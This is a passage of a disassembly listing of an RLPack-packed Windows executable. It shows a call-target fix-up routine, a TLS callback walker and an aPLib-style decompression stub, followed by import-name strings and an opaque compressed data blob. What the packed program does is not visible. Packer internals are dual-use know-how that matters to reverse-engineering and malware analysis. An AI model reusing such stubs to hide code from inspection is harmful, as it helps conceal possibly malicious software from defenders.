		jnz	short loc_4FA733


loc_4FA720:				; CODE XREF: sub_4FA6C0+59j
		mov	eax, [esi+1]
		bswap	eax
		sub	eax, edx
		mov	[esi+1], eax
		add	esi, 4
		add	edx, 4
		sub	ecx, 4


loc_4FA733:				; CODE XREF: sub_4FA6C0+5Ej
		inc	esi
		dec	ecx


loc_4FA735:				; CODE XREF: sub_4FA6C0+53j
		cmp	ecx, 0
		ja	short loc_4FA715


loc_4FA73A:				; CODE XREF: sub_4FA6C0+50j
		popa
		retn
sub_4FA6C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA73C	proc near		; CODE XREF: start+183p
		pusha
		mov	esi, [ebp+43Ch]
		add	esi, [esi+3Ch]
		mov	esi, [esi+0C0h]
		or	esi, esi
		jz	short loc_4FA77F
		add	esi, [ebp+43Ch]
		add	esi, 0Ch
		mov	esi, [esi]
		or	esi, esi
		jz	short loc_4FA77F
		mov	eax, [esi]
		jmp	short loc_4FA77B
; ---------------------------------------------------------------------------


loc_4FA763:				; CODE XREF: sub_4FA73C+41j
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_4FA775
		push	0
		push	1
		push	dword ptr [ebp+43Ch]
		call	eax


loc_4FA775:				; CODE XREF: sub_4FA73C+2Bj
		pop	esi
		add	esi, 4
		mov	eax, [esi]


loc_4FA77B:				; CODE XREF: sub_4FA73C+25j
		or	eax, eax
		jnz	short loc_4FA763


loc_4FA77F:				; CODE XREF: sub_4FA73C+12j
					; sub_4FA73C+21j
		popa
		retn
sub_4FA73C	endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_4FA78F:				; CODE XREF: .RLPack:004FA797j
		movsb
		mov	bl, 2


loc_4FA792:				; CODE XREF: .RLPack:004FA7BCj
					; .RLPack:004FA802j
		call	sub_4FA804
		jnb	short loc_4FA78F
		xor	ecx, ecx
		call	sub_4FA804
		jnb	short loc_4FA7BE
		xor	eax, eax
		call	sub_4FA804
		jnb	short loc_4FA7CE
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_4FA7B0:				; CODE XREF: .RLPack:004FA7B7j
		call	sub_4FA804
		adc	al, al
		jnb	short loc_4FA7B0
		jnz	short loc_4FA7FA
		stosb
		jmp	short loc_4FA792
; ---------------------------------------------------------------------------


loc_4FA7BE:				; CODE XREF: .RLPack:004FA7A0j
		call	sub_4FA810
		sub	ecx, ebx
		jnz	short loc_4FA7D7
		call	sub_4FA80E
		jmp	short loc_4FA7F6
; ---------------------------------------------------------------------------


loc_4FA7CE:				; CODE XREF: .RLPack:004FA7A9j
		lodsb
		shr	eax, 1
		jz	short loc_4FA820
		adc	ecx, ecx
		jmp	short loc_4FA7F3
; ---------------------------------------------------------------------------


loc_4FA7D7:				; CODE XREF: .RLPack:004FA7C5j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_4FA80E
		cmp	eax, 7D00h
		jnb	short loc_4FA7F3
		cmp	ah, 5
		jnb	short loc_4FA7F4
		cmp	eax, 7Fh
		ja	short loc_4FA7F5


loc_4FA7F3:				; CODE XREF: .RLPack:004FA7D5j
					; .RLPack:004FA7E7j
		inc	ecx


loc_4FA7F4:				; CODE XREF: .RLPack:004FA7ECj
		inc	ecx


loc_4FA7F5:				; CODE XREF: .RLPack:004FA7F1j
		xchg	eax, ebp


loc_4FA7F6:				; CODE XREF: .RLPack:004FA7CCj
		mov	eax, ebp
		mov	bl, 1


loc_4FA7FA:				; CODE XREF: .RLPack:004FA7B9j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4FA792

; =============== S U B	R O U T	I N E =======================================



sub_4FA804	proc near		; CODE XREF: .RLPack:loc_4FA792p
					; .RLPack:004FA79Bp ...
		add	dl, dl
		jnz	short locret_4FA80D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4FA80D:				; CODE XREF: sub_4FA804+2j
		retn
sub_4FA804	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA80E	proc near		; CODE XREF: .RLPack:004FA7C7p
					; .RLPack:004FA7DDp
		xor	ecx, ecx
sub_4FA80E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FA810	proc near		; CODE XREF: .RLPack:loc_4FA7BEp
		inc	ecx


loc_4FA811:				; CODE XREF: sub_4FA810+Dj
		call	sub_4FA804
		adc	ecx, ecx
		call	sub_4FA804
		jb	short loc_4FA811
		retn
sub_4FA810	endp

; ---------------------------------------------------------------------------


loc_4FA820:				; CODE XREF: .RLPack:004FA7D1j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 0A8520000h, 0A85F000Fh, 0Fh,	4 dup(0)
		dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch,	0FD77E805h
		dd 0A77E7A5h, 3477E798h, 9A77E79Eh, 77E616h, 0
		dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
		dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
		dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 69560000h
		dd 61757472h, 6F72506Ch, 74636574h, 10000000h, 80000h
		dd 200000h, 0
		dd 2 dup(40h), 0
		dd 10000000h, 5C000000h, 110002h, 0
		dd 76477E6h, 2 dup(32h), 1000000Eh, 27E30000h, 7000000Fh
		dd 31860002h, 9000000Fh, 0A4780002h, 0E000000Fh, 0Dh, 0E570000h
		dd 335F3253h, 6C642E63h, 454B008Fh, 4CE64E52h, 10E0DA6h
		dd 190271C4h, 6FC8413Ah, 656B1D63h, 738F874h, 0F803270h
		dd 0F12F0C09h, 15447322h, 1202890Ah, 4801240Dh,	2209910Bh
		dd 3104404h, 13121789h,	97481224h, 6660691h, 46006E70h
		dd 43646E69h, 70736F6Ch, 0C8536665h, 4F371845h,	1AFC2466h
		dd 42731949h, 0FF6F3061h, 727450D0h, 527B0DA4h,	610D08D0h
		dd 686E554Fh, 4C546EF3h, 63784563h, 69F970F3h, 6977F76Fh
		dd 473890FFh, 0A4465336h, 7954670Fh, 0F57EA70h,	46C000D2h
		dd 5073756Ch, 0F0425E68h, 5CBEE366h, 408A4B51h,	0A04C4864h
		dd 0D1C822Dh, 190E722Bh, 480A4D68h, 0FD751D8Fh,	0A7001CD1h
		dd 0CF726976h, 0E95F6DEAh, 57738A60h, 0E6DD7417h, 2EA5FEFEh
		dd 827418C8h, 81DA35A3h, 614D434Ch, 57274870h, 66310DA7h
		dd 19BD6548h, 78A87A28h, 0F973EC52h, 9108385Dh,	284DFC4Fh
		dd 52095043h, 0C600741h, 6F666E49h, 57194F93h, 5D23747Ch
		dd 0F2855628h, 6C611C75h, 0E7C8B941h, 9F420D46h, 4496D970h
		dd 0A0A14650h, 4DC87351h, 0F3105DA2h, 76D03A79h, 5841CA1Ah
		dd 0A80D4D12h, 3E483275h, 0CF61514Eh, 79531310h, 1B48DF73h
		dd 63FB9E44h, 0DCAF6FE3h, 3AD05328h, 193C4399h,	640F6854h
		dd 7DF344C1h, 2437AB28h, 15764F3Eh, 0AA906D6Eh,	4699758Fh
		dd 497F586Eh, 4C146450h, 45A66166h, 8C9CDB2Eh, 487970A1h
		dd 0B5935337h, 0D92F63Ch, 9A756234h, 132F9024h,	0C246A346h
		dd 86572264h, 92C94A2Bh, 1E412C53h, 6A622A4Fh, 649B8EA5h
		dd 3178654Dh, 0F6316954h, 41EAF259h, 54A16D80h,	201DC8B8h
		dd 507033DCh, 54656824h, 0C37376B2h, 0E938D64Ch, 0B972E69Dh
		dd 0BDA17921h, 0FE64B83Ch, 6D3FD3A5h, 45FEBB66h, 6360B323h
		dd 92A470DEh, 35560F89h, 1FB85592h, 687AA476h, 0A4C666Ch
		dd 2E43C0C9h, 0E5B5AACh, 0DB34B2EEh, 8F913A86h,	21923615h
		dd 7AD51EDEh, 8F41E22Fh, 0C0704AF4h, 742BCC23h,	0F6C83C23h
		dd 4210E23Dh, 0AFE2AF79h, 3E640D57h, 65448521h,	8B3370C9h
		dd 0A6562A49h, 0DC010951h, 42CF736Eh, 8C4CC366h, 29706913h
		dd 4B00590Ch, 81C85227h, 6C707544h, 0CE22CDB4h,	92D85762h
		dd 0B3694B28h, 0D5722873h, 0D47596AEh, 44CD1126h, 410F0EB4h
		dd 4CE82365h, 957DAA6h,	436533ACh, 57941519h, 32960FD1h
		dd 0D2424E5Fh, 0E8B134Ch, 0FE680851h, 508D3E6Dh, 90AC2E6Fh
		dd 20256A5Ah, 0EA65FDE1h, 0B55AF7FFh, 2C2913CFh, 9970234Ch
		dd 46D24A2Eh, 0A28A3A6Eh, 452A3216h, 51E0DB76h,	79307563h
		dd 66082950h, 636E0BBBh, 904736B3h, 644DD318h, 12932671h
		dd 190C2D79h, 277B35B1h, 0F1545946h, 36076156h,	5758D662h
		dd 0A334D3F3h, 0B9660913h, 2055A556h, 48C89914h, 294EA474h
		dd 921FA1CCh, 5331134Dh, 63A33990h, 37675612h, 67643F4Dh
		dd 0A49A9DC9h, 8CC37A62h, 0D6BB329h, 6C0B4C94h,	0C4704C24h
		dd 0A67765B6h, 0E4D29A5h, 0D20C1CE9h, 67714931h, 0D9866116h
		dd 0D00C4752h, 5E702493h, 915E01AEh, 24C84A7Fh,	8A875B94h
		dd 637206A8h, 791A46Dh,	42491CA6h, 0BC654518h, 996BF67Ah
		dd 644BCA90h, 44DBC867h, 4076A2CDh, 0F519BE1Dh,	24A0CAA0h
		dd 6A357375h, 3C372B11h, 4DE7742Ah, 0F35C1677h,	422CF0DBh
		dd 6A5A9270h, 0AEAAA9B2h, 0A22C9FD4h, 90979FD2h, 1544CF41h
		dd 796F15ADh, 7011560Ch, 80E1h
		db 3 dup(0)
_RLPack		ends

; Section 3. (virtual address 000FB000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000FAE00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4FB000h
		align 2000h
_idata2		ends


		end start